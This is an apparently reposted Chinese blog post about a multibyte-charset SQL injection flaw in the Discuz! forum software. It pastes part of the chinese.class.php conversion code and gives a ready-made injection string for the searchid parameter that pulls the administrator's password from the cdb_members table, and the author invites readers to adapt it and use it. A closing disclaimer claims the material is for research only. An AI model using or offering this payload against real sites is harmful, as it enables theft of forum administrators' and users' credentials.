作者:冰封浪子
由于发在blog上的漏洞资料给一位牛牛搞了.官方已出补丁.(由于 PHP 对 多字节字符集的支持存在问题,在各种编码相互转换过程中,有可能引发程序溢出和程序错误)
我很生气(mb日就日.tmd你共享个毛)
在这我说下过程:
if(defined('IN_DISCUZ')) { exit('Access Denied'); } define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/'); class Chinese { var $table = ''; var $iconv_enabled = false; var $unicode_table = array(); var $config = array ( 'SourceLang' => '', 'TargetLang' => '', 'GBtoUnicode_table' => 'gb-unicode.table', 'BIG5toUnicode_table' => 'big5-unicode.table', ); function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) { $this->config['SourceLang'] = $this->_lang($SourceLang); $this->config['TargetLang'] = $this->_lang($TargetLang); if(!function_exists(’iconv’) && $this->config['TargetLang'] != ‘BIG5′ && !$ForceTable) { $this->iconv_enabled = true; } else { $this->iconv_enabled = false; $this->OpenTable(); } } function _lang($LangCode) { $LangCode = strtoupper($LangCode); if(substr($LangCode, 0, 2) == ‘GB’) { return ‘GBK’; } elseif(substr($LangCode, 0, 3) == ‘BIG’) { return ‘BIG5′; } elseif(substr($LangCode, 0, 3) == ‘UTF’) { return ‘UTF-8′; } elseif(substr($LangCode, 0, 3) == ‘UNI’) { return ‘UNICODE’; } } function _hex2bin($hexdata) { for($i=0; $i < strlen($hexdata); $i += 2) { $bindata .= chr(hexdec(substr($hexdata, $i, 2))); } return $bindata; }
chinese.class.php (utf-8不能利用)
searchid=22%cf’UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit
以上各位自己修改去用吧!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论